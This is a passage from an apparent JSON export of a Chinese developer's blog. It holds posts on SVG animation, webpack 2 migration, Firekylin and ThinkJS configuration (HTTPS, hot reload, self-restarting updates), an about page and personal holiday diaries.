还有很多例如遮罩、滤镜、填充动画方法，感兴趣的同学可以去了解下，都能实现非常有趣的动画特效。不过万变不离其宗，只要你富有想象力，能够设计出一些别出心裁的动效，即使只使用上文提及的一些简单的动画方法，我相信最终的动效也一定是非常有意思的！\n学习资料 SVG 动画实现@CSS Conf 2016 SVG Tutorial 张鑫旭的技术博客 w3cplus SVG 开发与应用 SVG 动画精髓 @优秀网页设计 codepen.io ","count":2662,"date":"2017年06月19日","featuredImage":null,"permalink":"https://imnerd.org/svg-animation-in-action.html","summary":"\u003cp\u003eSVG 是基于 XML 的矢量图形描述语言，可以近似理解成 HTML，所以能和 JS 以及 CSS 进行交互。 特别是 CSS，配合 CSS Animation 就能实现一些令人心旷神怡的动画，这实在是让人兴奋。下面我们就来看看 SVG 配合 CSS 实现动画的一些方法。\u003c/p\u003e","time":6,"title":"SVG动画实践"},{"comments":{"data":[6],"errmsg":"","errno":0},"contents":"前些天 webpack2.2 发布了正式版。个人觉得 webpack2 带来的最大的变化莫过于新的官网了 https://webpack.js.org，新官网带来的新的文档比之前的要好太多了。而且早就想试试 Tree Shaking 了，所以趁此时间赶紧升级了一把。虽然已经发布了 2.2 的正式版，不过目前还需要通过 npm install webpack@beta 来安装，大家要注意哦~最新消息，官方已经把 beta 去掉了，现在直接安装 npm install webpack 就是最新 2.2.1 的版本了，如果要装老版本的话需要 npm install -g webpack@1。另外官方给出了详细的webpack1升级到webpack2的迁移指南，也可以参考其对应的的中文翻译版。以下就按照我的认识给大家梳理一下 webpack2 的一些变化，详细的更新情况还请参考官方文档。\n配置文件 新版 webpack.config.js 内的几个配置项发生了比较大的变化，如果你升级了之后什么都不修改的话默认会报错。\n可以看到配置项的确有些不同，其中变化最大的是loader的配置：\n取消了 modules.preLoaders, modules.loaders, modules.afterLoaders，统一变成了 modules.rules。 多个 loader 从之前的字符串链式拼接变成了 loader.use 数组形式。 所有的 loader 都默认必须补全 -loader，不能使用简写形式。据作者说是因为有些新手会把简写名称误以为是 loader 名称而和其它模块搞混淆了所以默认移除了这个功能。 loader 的参数配置只能写在 rule.options 内部不能写在外面，例如 sass-loader 的参数配置方式是在 webpack.config.js 最外部增加的就不符合新版要求，使用的时候 webpack 会提示不合法参数的错误。 另外就是 module.resolve 的变化，resolve.root, resolve.moduleDirectories 和 resolve.fallback 全部统一成了 resolve.modules，感觉更好理解了，讲道理之前完全记不住这几个东西。。。另外 resolve.extensions 不需要自己写一个空字符串在那了，webpack 会自动解析无后缀的模块加载。\n编译大小的速度 更新好配置文件后就可以愉快的运行了。和之前的对比了一下，总体来说，编译速度的确是有优化，但优化幅度并不大。编译体积上虽然有 Tree Shaking 加成，但是对于这种大项目来说优化幅度并不是非常明显。总体上来说性能的话你最好别对新版本抱有太大的期望，以下是 Firekylin 两个版本编译前后的对比：\nwebpack v1(ms) v2(ms) 开发环境 15416 11502 生产环境 35844 21279 新特性 撇开 webpack 尴尬的编译速度不说，我们来看看 v2 版本为我们带来了哪些新特性吧。\nPromise 化 可以看到新版很多代码都 Promise 化了，首先是配置文件 Promise 化了。之前 webpack.config.js 返回的永远是一个配置对象，现在能支持返回一个函数，函数参数是命令行传入的一些自定义环境参数，函数执行返回一个 Promise 对象。变成函数后我们就可以在配置文件内根据环境参数自定义配置了，不用像以前一样通过不同的文件区分不同的环境。返回 Promise 的话有助于我们在配置文件中执行一些异步操作并返回结果。不过感觉这个需求比较小众，目前我都还没有需求需要在配置文件中执行异步。\n另外一个 Promise 化的东西就是分块代码加载 Promise 化了，不管是 require.ensure 还是 AMD 的 require 甚至是 ES6 的动态 import，返回的都是 Promise 的对象。所以对于一些不支持 Promise 的浏览器需要加载 Promise 的 Polyfill 库才行。ES6 的动态 import 在下面详细说说。\n原生的 import 支持 旧版本只支持 AMD/CMD 和 CommonJS 等 require 加载模块，如果使用 ES6 语法的话需要使用 babel-loader 将其编译成 require 的版本才行。但是 import 加载最大的特点是它是编译时加载，在编译的时候我们就可以知道我们需要使用这个模块的哪些属性和方法，如果只是单纯的转换成 require 加载的话这些特性就都没了。好在 v2 版本已经原生支持了，Tree Shaking 通过静态分析只加载会被执行的代码也顺理成章的支持起来了。关于 Tree Shaking 更多的内容可以参考这篇文章：《webpack2 的 tree shaking 真的好用吗？》。TL;DR;总的观点基本上和我上面测试的结果一直，Tree Shaking 对代码函数式要求很高，对目前的代码来说优化程度寥寥。\n原生 import 支持带来的另一个影响就是增加了新的异步分块代码加载方式。在老的版本中如果你想要分块加载一个模块基本写法如下：\nrequire.ensure([\u0026#39;a\u0026#39;], function(require) { var a = require(\u0026#39;a\u0026#39;); a.dosomething(); }, \u0026#39;chunkNameIfYouWant\u0026#39;); 写法和 AMD require 类似采用回调后置了代码执行时间。webpack2 中原生支持的import函数加载模块，并返回 Promise 对象：\nimport(\u0026#39;a\u0026#39;).then(function(a) { a.dosomething(); }); //async/await 版 (async function() { let a = await import(\u0026#39;a\u0026#39;); a.dosomething(); })(); Promise 化后带来的好处就是更加直观且语义化，配合 async/await 语法书写后基本就可以等同于同步代码理解。而且 Promise 带有 resolve 和 reject 两种方法，我们可以非常方便的 catch 到模块加载失败的错误并作出对应操作。不过 require.ensure 是支持第三个参数自定义分块代码的分块名称的，目前 import() 加载还不支持这个功能，如果需要自定义分块名称的话还是只能使用 require.ensure 的方式。\n另外就是默认 babel-loader 还是会处理 import 方法的，为了不让其转换 import 方法从而让 webpack2 能够读取到 import，我们需要设置 babel-loader：\n{ test: /\\.js$/, loader: \u0026#39;babel-loader\u0026#39;, options: { presets: [ [\u0026#39;es2015\u0026#39;, {module: false}] ] } } 后记 总的来看 webpack2 带来的更新都是大势，ES6 和 Promise 的引入让代码更贴近标准，配置项归类的更加合理，特别是文档比以前的真的是好用太多了。而且 webpack 的作者最近都有加大力度在中文社区的推广，https://webpack-china.org webpack 中文社区也在扩张中，推荐大家多多升级交流。\n","count":1928,"date":"2017年01月26日","featuredImage":null,"permalink":"https://imnerd.org/upgrade-to-webpack-2.html","summary":"\u003cp\u003e前些天 webpack2.2 发布了正式版。个人觉得 webpack2 带来的最大的变化莫过于新的官网了 \u003ca href=\"https://webpack.js.org\"\u003ehttps://webpack.js.org\u003c/a\u003e，新官网带来的新的文档比之前的要好太多了。而且早就想试试 Tree Shaking 了，所以趁此时间赶紧升级了一把。\u003cdel\u003e虽然已经发布了 2.2 的正式版，不过目前还需要通过 \u003ccode\u003enpm install webpack@beta\u003c/code\u003e 来安装，大家要注意哦~\u003c/del\u003e最新消息，官方已经把 beta 去掉了，现在直接安装 \u003ccode\u003enpm install webpack\u003c/code\u003e 就是最新 2.2.1 的版本了，如果要装老版本的话需要 \u003ccode\u003enpm install -g webpack@1\u003c/code\u003e。另外官方给出了详细的webpack1升级到webpack2的\u003ca href=\"https://webpack.js.org/guides/migrating/\"\u003e迁移指南\u003c/a\u003e，也可以参考其对应的的\u003ca href=\"http://www.zcfy.cc/article/migrating-from-v1-to-v2-2378.html\"\u003e中文翻译版\u003c/a\u003e。以下就按照我的认识给大家梳理一下 webpack2 的一些变化，详细的更新情况还请参考官方文档。\u003c/p\u003e","time":4,"title":"升级到 webpack2"},{"comments":{"data":[6],"errmsg":"","errno":0},"contents":"之前用 WordPress 和 Typecho 的时候有个功能特别好用，那就是自定义首页。用户可以将某个页面指定成首页，而页面又可以通过自定义模板来个性化。最终达到了个性化首页的目的。这么棒的功能当然 Firekylin 也要支持啦，下面就和大家说说在 Firekylin 中如何实现个性化首页功能。\n页面自定义模板 0.15.0 版本新增自定义模板的功能，将自定义模板放置在主题目录的 template 文件夹下，程序就会识别该自定义模板。模板的内容随意，可以是纯静态的 HTML 内容，也可以是 nunjucks 语法。后台新建页面右侧可以选择你设定的自定义模板，选择该模板之后程序就会使用它替换默认的 page.html 模板渲染该页面。\n自定义网站首页 设置好自定义页面之后，在 设置-阅读设置 中可以选择某个页面作为首页。这样就完成了自定义首页的配置。设置了页面为自定义首页之后如果想要再次访问原来的首页，可以使用 xxx.com/post/list 地址来访问。\n自定义错误页 是不是已经对 404 页面枯草的报错感到厌烦了？0.15.0 同时增加了自定义错误页的功能。在主题目录的 error 文件夹下，放置对应错误号的模板程序就会识别以该模板渲染错误页。例如 www/theme/firekylin/error/404.html 即是自定义 404 页面文件路径。\n有了这些自定义功能，我相信爱折腾小伙伴的博客会越来越漂亮了。\n","count":467,"date":"2017年01月24日","featuredImage":null,"permalink":"https://imnerd.org/firekylin-custom-index.html","summary":"\u003cp\u003e之前用 WordPress 和 Typecho 的时候有个功能特别好用，那就是自定义首页。用户可以将某个页面指定成首页，而页面又可以通过自定义模板来个性化。最终达到了个性化首页的目的。这么棒的功能当然 \u003ca href=\"https://github.com/75team/firekylin\"\u003eFirekylin\u003c/a\u003e 也要支持啦，下面就和大家说说在 Firekylin 中如何实现个性化首页功能。\u003c/p\u003e","time":1,"title":"Firekylin 如何自定义首页"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"大家在使用 ThinkJS 的时候一般都会搭配 Nginx 使用，在 Nginx 中配置 HTTPS 是非常简单的，具体可以参考屈屈老师的《Let\u0026rsquo;s Encrypt，免费好用的 HTTPS 证书》。这样做的原理是 Nginx 接收到 HTTPS 的请求后反向代理到 ThinkJS 服务的端口上，从而达到了 ThinkJS 项目开启 HTTPS 服务的目的。不过有些比较轴的同学可能觉得这种方法还是太麻烦了，经常问 ThinkJS 有没有自带启动 HTTPS 服务的方法。今天我就来给大家说说。\n其实方法非常的简单，虽然 ThinkJS 默认是使用 NodeJS 的 http 模块启动服务的，但是作者也同时开放了接口支持用户自定义 server。config.js 中提供了 create_server 属性来自定义启动服务：\ncreate_server: undefined, //自定义启动服务\nvia: https://thinkjs.org/zh-cn/doc/2.2/config.html#config\n那么具体如何定义这个属性呢，具体我们可以从源码中窥知一二：\nstatic createServer(){ let handle = think.config(\u0026#39;create_server\u0026#39;); let host = think.config(\u0026#39;host\u0026#39;); let port = think.port || think.config(\u0026#39;port\u0026#39;); //createServer callback let callback = (req, res) =\u0026gt; { think.http(req, res).then(http =\u0026gt; { new this(http).run(); }); }; let server; //define createServer in application if (handle) { server = handle(callback, port, host, this); }else{ //create server server = http.createServer(callback); server.listen(port, host); } think.server = server; //start websocket let websocket = think.parseConfig(think.config(\u0026#39;websocket\u0026#39;)); if(websocket.on){ let Cls = think.adapter(\u0026#39;websocket\u0026#39;, websocket.type); let instance = new Cls(server, websocket, this); instance.run(); } } 从源码中可以看到，ThinkJS 会将监听回调，监听端口，监听HOST当做参数传给我们的自定义启动服务变量，所以我们只要按照给定的参数定义好启动服务函数就可以了：\n/** * src/common/config.js **/ import fs from \u0026#39;fs\u0026#39;; import https from \u0026#39;https\u0026#39;; const options = { key: fs.readFileSync(\u0026#39;./ssl/server.key\u0026#39;), cert: fs.readFileSync(\u0026#39;./ssl/server.crt\u0026#39;) }; const app = (callback, port, host, think) =\u0026gt; { let server = https.createServer(options, callback); server.listen(port, host); return server; } export default { create_server: app }; 其中 server.key 和 server.crt 是下发的证书文件，可以是 SSL 供应商下发的证书，也可以是本地自签名的证书。供应商下发证书就不多表了，本地自签名证书的话可以参考小胡子哥的 《HTTPS证书生成原理和部署细节》。\n这样启动 ThinkJS 之后就可以使用 https://localhost:8360 访问网站了，这里需要注意的是如果是自签名证书的话因为是不受信任的 CA 所以浏览器会报不安全的链接，如果是真实 CA 下发的如果签发域名和访问域名不一致的话也会报不安全的链接。\n","count":688,"date":"2017年01月08日","featuredImage":null,"permalink":"https://imnerd.org/thinkjs-create-https-server.html","summary":"\u003cp\u003e大家在使用 ThinkJS 的时候一般都会搭配 Nginx 使用，在 Nginx 中配置 HTTPS 是非常简单的，具体可以参考屈屈老师的《\u003ca href=\"https://imququ.com/post/letsencrypt-certificate.html\"\u003eLet\u0026rsquo;s Encrypt，免费好用的 HTTPS 证书\u003c/a\u003e》。这样做的原理是 Nginx 接收到 HTTPS 的请求后反向代理到 ThinkJS 服务的端口上，从而达到了 ThinkJS 项目开启 HTTPS 服务的目的。不过有些比较轴的同学可能觉得这种方法还是太麻烦了，经常问 ThinkJS 有没有自带启动 HTTPS 服务的方法。今天我就来给大家说说。\u003c/p\u003e","time":2,"title":"ThinkJS 开启 HTTPS 服务"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"用过 ThinkJS 的人都知道，开发模式下 ThinkJS 是支持实时更新的，也就是说不需要我们重启服务就能让修改生效，不得不说这种开发方式真的非常方便。然而对于前端代码我们还是得老老实实的刷新页面才能看到效果，我们能不能让前端代码也支持热更新呢？答案是肯定的。首先我们看一张动图了解我们最终想要功能是什么样的（点击图片查看大图）。\n关于前端页面自动刷新，其实有非常多的方案了，从简单的 F5, Live Reload 到 Browser Sync 都是非常不错的方案，当然按照套路本文的主角肯定不是它们了。用过 webpack 的同学应该都用过或者知道 webpack-dev-server 吧，想必大家都对它的不刷新页面热更新代码的方式眼前一亮，没错，今天我们的主角是它！\nThe webpack-dev-server is a little Node.js Express server, which uses the webpack-dev-middleware to serve a webpack bundle. It also has a little runtime which is connected to the server via Sock.js.\nvia: http://webpack.github.io/docs/webpack-dev-server.html\n正如官方文档开头写的那样，webpack-dev-server 本质上内部是用了 express ，使用 webpack-dev-middleware 在服务端编译，并使用 websocket 通知页面进行更新。那么问题来了，我们是一个 ThinkJS 的项目，为啥为了使用热更新还非得去再启一个别家的服务，这什么鬼！好在不是我一个人这么想的，所以有人开发了 webpack-hot-middleware 这个项目，将 webpack-dev-server 热更新功能脱离出来，让我们能自由自在的在自己的服务上搭建。所以我们只要 webpack-dev-middleware 和 webpack-hot-middleware 配合就能实现 webpack-dev-server 的热更新功能了。\n不过 webpack-dev-middleware 和 webpack-hot-middleware 都是 express 的中间件，在 ThinkJS 上无法直接使用。所以我将它们简单的包装成了 ThinkJS 的插件：think-webpack-dev-middleware 和 think-webpack-hot-middleware，大家直接安装就能使用了。具体的添加过程如下：\n安装中间件：\nnpm install think-webpack-hot-middleware think-webpack-dev-middleware --save-dev 修改 src/common/bootstrap/middleware.js 定义中间件：\nimport webpackDevMiddleware from \u0026#39;think-webpack-dev-middleware\u0026#39;; import webpackHotMiddleware from \u0026#39;think-webpack-hot-middleware\u0026#39;; import webpack from \u0026#39;webpack\u0026#39;; import config from \u0026#39;../../../webpack.config.js\u0026#39;; const compiler = webpack(config); think.middleware(\u0026#39;webpack-dev\u0026#39;, webpackDevMiddleware( compiler, { stats: { colors: true } } )); think.middleware(\u0026#39;webpack-hot\u0026#39;, webpackHotMiddleware( compiler, { log: think.log } )) 修改 src/common/config/hook.js 将定义好的中间件添加到 resource 的钩子中：\nexport default { resource: [\u0026#39;webpack-dev\u0026#39;, \u0026#39;webpack-hot\u0026#39;] } 修改 webpack.config.js 添加监听客户端 webpack-hot-middleware/client 以及热更新插件：\nvar webpack = require(\u0026#39;webpack\u0026#39;); module.exports = { entry: { main: [ \u0026#39;src/index.js\u0026#39;, \u0026#39;webpack-hot-middleware/client?reload=true\u0026#39; ] }, plugin: [ new webpack.HotModuleReplacementPlugin() ] }; 这样就可以实现 ThinkJS 内部前后端热更新了，如果有不是很懂的同学可以参考 think-webpack-hot-middleware/example 这个示例项目，直接 npm start 就可以看到效果。\n","count":791,"date":"2016年12月25日","featuredImage":null,"permalink":"https://imnerd.org/think-webpack-hot-reload.html","summary":"\u003cp\u003e用过 ThinkJS 的人都知道，开发模式下 ThinkJS 是支持实时更新的，也就是说不需要我们重启服务就能让修改生效，不得不说这种开发方式真的非常方便。然而对于前端代码我们还是得老老实实的刷新页面才能看到效果，我们能不能让前端代码也支持热更新呢？答案是肯定的。首先我们看一张动图了解我们最终想要功能是什么样的（点击图片查看大图）。\u003c/p\u003e","time":2,"title":"ThinkJS 开发之前端热更新"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"众所周知，PHP 是文件型程序，每次请求访问的时候会去读取 PHP 文件然后执行程序。这种机制的程序做更新是非常简单的，把文件更新了下一次请求读取的就会是最新的程序。和 PHP 文件型程序不同，Node 是常驻“内存型”程序，代码在最开始执行脚本的时候就已经读取，模块和依赖都会缓存在内存中。这样的好处就是减少了请求每次读取的时间，能够更快的响应。但是也注定了不能像 PHP 一样只是简单的更新下文件就能达到更新的目的了。本文就 Firekylin 的在线更新功能来说说 ThinkJS 程序更新的那些事。\n重启更新 简单的思路来说，其实只要在更新完文件后同时更新下内存中的“文件”就能完成更新。比较简单的方式就是直接重启进程了，所以之前 Firekylin 的更新流程基本上是如下步骤：\n$ cd /var/www/xxx # 获取最新程序 $ wget http://firekylin.org/release/latest.tar.gz $ tar zvxf latest.tar.gz # 替换文件 $ cp -r firekylin/* ./ # 安装依赖 $ npm install $ rm -rf firekylin latest.tar.gz # 重启程序 $ pm2 restart pm2.json 所以你能看到在替换文件安装依赖的最后一步还有一个重启进程的命令。如果是自用的程序，这样其实也就足够了。但是 Firekylin 是一款面向大众的开源博客程序，对于用户是使用何种守护进程（pm2, forever, supervisor, systemd 等等）是没办法知道的，这样也就无法得到一个通用的重启命令。\n代码热更新 重启的目的是为了更新内存中的缓存，那问题来了，为什么我们不直接更新内存呢？Node 程序是建立在模块之上，所有的模块都是通过 require 加载的。而 require 加载过的模块会缓存在 require.cache 变量中。加载的模块如果存在缓存的话则优先使用缓存中的内容。可以在 Node 的源码 中一窥究竟。\n所以我们只要更新文件的同时清除 require.cache 的缓存，那么下一次 Node 就会重新读取文件获得最新的程序。实际上在 ThinkJS 的开发者模式中，也一直都是使用的这种方式进行不重启热更新。\n不过这种方法仅仅只是更新了模块的代码，对于一些在启动时的初始化操作并没有重新执行，这对于 Firekylin 这种可能会在启动时初始化环境的程序来说，有点不太适合。\n自守护重启 排除掉热更新的方案之后又回归到了简单粗暴的重启方案。重启的问题在于进程守护是在程序之上的，程序并不清楚用户到底使用的是那种进程守护工具。那是不是可以让程序自己守护自己，让外部的守护进程守护这个程序的守护呢？答案是可以的，ThinkJS 的 Cluster 模式就可以实现这个需求。\n当 ThinkJS 开启 Cluster 模式之后，存在 Master 和 Worker 两种进程角色。其中 Master 父进程只做监管和任务分发的功能，将任务实际派发到 Worker 子进程中执行。Master 会监听 Worker 的退出事件，当 Worker 挂掉之后 Master 会立即 fork 一个新的 Worker 出来（代码）：\nstatic http(){ let nums = think.config(\u0026#39;cluster_on\u0026#39;); if (!nums) { this.createServer(); return this.log(); } if (nums === true) { nums = os.cpus().length; } if (cluster.isMaster) { for (let i = 0; i \u0026lt; nums; i++) { cluster.fork(); } cluster.on(\u0026#39;exit\u0026#39;, worker =\u0026gt; { think.log(new Error(think.locale(\u0026#39;WORKER_DIED\u0026#39;, worker.process.pid)), \u0026#39;THINK\u0026#39;); process.nextTick(() =\u0026gt; cluster.fork()); }); this.log(); }else { this.createServer(); } } 利用这个机制，我们可以对程序开启 Cluster 模式，并在更新的时候直接让进程自杀掉完成一次“重启”的过程。由于自杀和新开 Cluster 的逻辑都是在程序内部实现，对于外部守护进程是何种工具实现也就不需要关心了。子进程自杀实现代码：\n/** 重启服务 */ if( cluster.isWorker ) { this.success(); setTimeout(() =\u0026gt; cluster.worker.kill(), 200); } 后记 简单的一段代码让 ThinkJS 实现了进程守护的功能，达到了更新的目的，虽然多进程的功效远非于此。当然如果不是 ThinkJS 的程序，在自己的代码中实现也是非常简单的。\n参考资料：\nNode.js Web应用代码热更新的另类思路\n解读 Node.js 的 Cluster 模块\n","count":1247,"date":"2016年12月17日","featuredImage":null,"permalink":"https://imnerd.org/auto-update-thinkjs.html","summary":"\u003cp\u003e众所周知，PHP 是文件型程序，每次请求访问的时候会去读取 PHP 文件然后执行程序。这种机制的程序做更新是非常简单的，把文件更新了下一次请求读取的就会是最新的程序。和 PHP 文件型程序不同，Node 是常驻“内存型”程序，代码在最开始执行脚本的时候就已经读取，模块和依赖都会缓存在内存中。这样的好处就是减少了请求每次读取的时间，能够更快的响应。但是也注定了不能像 PHP 一样只是简单的更新下文件就能达到更新的目的了。本文就 \u003ca href=\"https://github.com/75team/firekylin\"\u003eFirekylin\u003c/a\u003e 的在线更新功能来说说 ThinkJS 程序更新的那些事。\u003c/p\u003e","time":3,"title":"基于 ThinkJS 程序的自动更新"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"————基本资料————\n姓名：Austin Lee\n生日：1991.07.03\nE-mail/Gtalk/QQ/MSN:\n————个人介绍————\n嗯，平凡，普通的不能在普通的一个地球人，\r从初中到大学都没出方圆百里的老挫男；\r喜欢上网，是个极度恋家的宅男+网虫。\r喜欢计算机技术，但自己没本事，啥也不会；\r网络让我认识了好多人，\r比我大的，比我小的，男的，女的，还有好多动物。\r喜欢朦胧的细雨，爱上烟雨的江南；\r形式作风拖拖拉拉，是个十足的懒散蛋，\r行事低调，主要原因是胆小怕事，没有勇气。\r属于内在美没有，外在美全无的那种人，\r在社会的大河中漂流，\r希望平平淡淡的过完这一生。\r一座小房，有工资，还有一台电脑，就够了。\n————怡红院落————\n关于怡红院落，其实不想多说什么。\r这里，记录的是我的生活，\r快乐，悲情，应有尽有，\r但我能保证，这些都是我的心情。\r而我自己，在这里，已经不是现实的我，\r我有了一个新的名字，\r他叫怡红公子，\r一个简约而不简单的名字，\r就是这个院落的主人，\r永远都会守着这片自己的小天地。\n————院落日程————\n某年某月某日，公子购买了https://imnerd.org域名\r再某年某月某日，公子购买了主机，\r再在上个某年某月某日的几十分钟后，怡红院落出炉，\r怡红公子的怡红院落正式上线。\r2009年09月19日　从新加坡主机转移到美国主机\n————公子脚印————\nYou can find me here:\n//Twitter // Yahoo! Me Me // Last.fm //\n//Del.icio.us // Chi.mp //\n//Friendfeed //\n//饭否 // 火兔 // 叽歪 // 做啥 // 豆瓣 // 百度空间 // 网易博客 //\n————院落协议————\n怡红院落 by 怡红公子 is licensed under a license。Creative Commons 署名-非商业性使用-禁止演绎 2.5 中国大陆 License. 基于imnerd.org上的作品创作。\rPermissions beyond the scope of this license may be available at https://imnerd.org/.\n更新：从 2018 年开始，本站采用更开放的「署名 4.0 国际（CC BY 4.0）」创作共享协议。通俗地讲，只要在使用时署名，那么使用者可以对本站所有原创内容进行转载、节选、混编、二次创作，允许商业性使用。\n除非在文章正文内单独说明，本站欢迎各种形式的转载。Web 技术更新很快，本站很多文章都具有时效性，我会及时更新原文，但转载的文章无法通知更新。为了不给读者造成困惑或误导，请大家在转载时保留文章最后的出处。\n对于微信平台，本站仅授权「奇舞周刊」公众号在使用本站文章时标注「原创」；其他公众号可以随意转载本站文章而无需通知我，但请不要标注「原创」。\n","count":947,"date":"2016年12月08日","featuredImage":null,"permalink":"https://imnerd.org/@1831.html","summary":"\u003cp\u003e\u003cspan style=\"text-align: left;\"\u003e————\u003cspan style=\"color: #008000;\"\u003e基本资料\u003c/span\u003e————\u003c/span\u003e\u003c/p\u003e\n\u003c!--\u003cspan style=\"text-align: right;\"\u003e \u003c/span\u003e\r\n\u003cp style=\"text-align: left;\"\u003e\u003cspan style=\"text-align: right;\"\u003e\u003cobject style=\"cursor: pointer;\" classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"140\" height=\"226\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\"\u003e\u003cparam name=\"src\" value=\"http://a5.qzone.qq.com/loader.swf?pic=http://a5.qzone.qq.com/2008/08/19/007/922.swf\u0026amp;item=23861\u0026amp;textinfo=\u0026amp;rate=0\u0026amp;trinket=\u0026amp;type=.swf\" /\u003e\u003cparam name=\"wmode\" value=\"opaque\" /\u003e\u003cembed style=\"cursor: pointer;\" type=\"application/x-shockwave-flash\" width=\"140\" height=\"226\" src=\"http://a5.qzone.qq.com/loader.swf?pic=http://a5.qzone.qq.com/2008/08/19/007/922.swf\u0026amp;item=23861\u0026amp;textinfo=\u0026amp;rate=0\u0026amp;trinket=\u0026amp;type=.swf\" wmode=\"opaque\"\u003e\u003c/embed\u003e\u003c/object\u003e\u003c/span\u003e\r\n\r\n\u003c/p\u003e--\u003e\r\n\u003cp\u003e姓名：Austin Lee\u003c/p\u003e\r\n\u003cp\u003e生日：1991.07.03\u003c/p\u003e\r\n\u003cp\u003eE-mail/Gtalk/QQ/MSN:\u003c/p\u003e\r\n\u003cp\u003e\r\n\u003ca href=\"mailto:secret_lzm_007@qq.com\"\u003e\r\n  \u003cimg src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/material/qq.jpg\" alt=\"\" /\u003e\r\n\u003c/a\u003e\r\n\u003c/p\u003e\r\n\u003cp style=\"text-align: left;\"\u003e\r\n\u003ca href=\"mailto:secret_lzm_007@163.com\"\u003e\r\n  \u003cimg src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/material/163.jpg\" alt=\"\" /\u003e\r\n\u003c/a\u003e\r\n\u003c/p\u003e","time":2,"title":"未命名页面"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"大家都准备各种出去耍的时候，我又无一例外的窝在了家里。突然想起来去年国庆好像也是宅家里头呢！七天长假说长不长说短不短就这么呲溜走过去了，这种消磨时间的感觉好爽呀！本来说在家里好好写点代码的，实际上也仅限于修了一些之前好久没修的 BUG！看来呆家里效率果然高不起来呀\u0026hellip;\n一个厨房 在家最开心的事情就是可以自己做饭吃了。第一次做虾，尝试了白灼和油焖两种做法，味道都超级好，就是处理起来略麻烦。还做了一道黑暗料理，胡萝卜炒肉本来是一道很正常的菜，结果胡萝卜我用刨丝工具刨的，刨太细了炒出来完全没样子，然后还拼命的放花椒、胡椒、辣椒，胡萝卜的甜和各种辣味混在一块的感觉实在是怪怪的\u0026hellip; 最后这道菜成了唯一一道没被吃完要被倒掉的菜，也是惨惨惨\u0026hellip; 不过讲道理其它的菜做的还是可以的，感觉自己做的菜特别好吃，每餐都吃到撑有么有。不过吃撑的后果就是特别犯困，经常性一睡就是一下午，汗！我们老大说厨艺和代码水平是成正比的，我觉的我的厨艺还是有长进的，看来写代码也长进了不少，哈哈哈！\n一场运动 国庆当天选择去打羽毛球的估计没几个吧\u0026hellip;这不果然我们就包场了\u0026hellip;酣畅淋漓的打了一场球为长假开了个好头~ 回来花了一下午收拾了下家里，之前好长时间没打理，收拾了下容光焕发整个人心情都好了，也不枉我辛苦半天。\n一部电影 之前一直想看但是没时间看，整理文件的时候正好就看了一遍。喜欢看这种轻松幽默的片子，不用动太多脑筋，适合我这种笑点低的人，哈哈！\n一部动漫 同样是之前很早就想看的动漫了，钢炼2009 这部网友评价很高，看完之后觉得果然不错。没有嘴炮，没有主角光环，每个人物都刻画的很深刻，而且反派也不脑残，大家都在正常的斗智斗勇，最后不是主角赢了，而是正义的一方获胜了。这年头还能看到这种不卖肉不卖腐不卖萌纯卖剧情的动漫真的是不多了，好评一个！\n一本书 好吧，又是一本之前很早就想看的书了，因为大家的口碑都还不错，而且题目也挺吸引我的。之前看异步社区的半价活动里有 《Web全栈工程师的自我修养》，就果断入了。之前看了一些，这两天一鼓作气看完了。内容非常简单，技术方面涉及的不是很多，基本都是一些辅助性的技能。讲的很全，有些东西我也是非常认同的，用来做入门的话的确是不错。\n一只猫 同事因为要回家而我正好不出去就把宠物猫拖我照顾了。因为怕它认生就还是在同事那里我每天去给投个食就好了（此处需要有自动投食机）。不得不说这只猫实在是太胆小了，我一进屋立马就窜到床底下去了，连着去了四天只有今天是在窗外面看着它了，真是。。。而且叫声很奇怪，不是正常的喵喵声，倒像是小孩的叫声，哈哈！第三天去的时候发现把同事的一包抽纸全撕了，整个屋都是纸巾的残片，场面实在是不忍直视。\n养猫果然是个费力的活，同事家里备了好多好多清洁剂（不过同事家味道还是很重，刚进去特别不适应），东西都不敢放外面怕被猫咬了，柜子们也是用绳子给捆好的，还备了各种铲屎官工具。饶是如此听我同事说也不是时常亲近他的，真是，哎！更加坚定了我不养猫宠物的决心了。\n2016年的最后一个长假就这么过去了，马上就是连续的7天工作日了，两个字~ 开心~ 哈哈哈哈哈哈哈~~\n","count":1305,"date":"2016年10月11日","featuredImage":null,"permalink":"https://imnerd.org/2016-national-day.html","summary":"\u003cp\u003e大家都准备各种出去耍的时候，我又无一例外的窝在了家里。突然想起来去年国庆好像也是宅家里头呢！七天长假说长不长说短不短就这么呲溜走过去了，这种消磨时间的感觉好爽呀！本来说在家里好好写点代码的，实际上也仅限于修了一些之前好久没修的 BUG！看来呆家里效率果然高不起来呀\u0026hellip;\u003c/p\u003e\n\u003ch3 id=\"一个厨房\"\u003e一个厨房\u003c/h3\u003e\n\u003cimg src=\"https://imnerd.org/assets/migration/blog.imnerd.org/static/upload/201610/-rLd7JEL0FDaNh9-K1RqFcLL.jpg\" style=\"width: 30%\" alt=\"吃货\" /\u003e","time":3,"title":"一个长假"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"早在月初的时候大家一时兴起说聚一下，结果中秋就来了一场说走就走的旅行。天各一方的人儿们在同一天往相同的地点出发。\n第一次做飞机表示非常的激动，从起飞到降落都像好奇宝宝一样呆呆的看着窗外，不过恐高的我表示起飞的时候在窗边看着飞机突然离地上升还是非常恐怖的。等到飞到云层上之后因为看不到下面了倒也还好，有种快飞到南天门的感觉，哈哈！\n不过第一次飞机还是很郁闷的，因为名字特殊结果机票上总是打不出中文名，去的时候不知道等别人查的时候发现才去补写盖章，而且 100ml 以上要托运也不知道，我的沐浴露还没用就扔掉了，嘤嘤嘤~ 不知道对移动电源也有要求还傻乎乎的带了俩充电宝走，还好都是合格的，要不然我就 gg 了\u0026hellip; 回来的时候就聪明啦，把要检查的东西都提前放到书包外面，这样就不用翻箱倒柜了，名字也提前去前台给补上了，所以回程的检查一路顺利，yeah~ 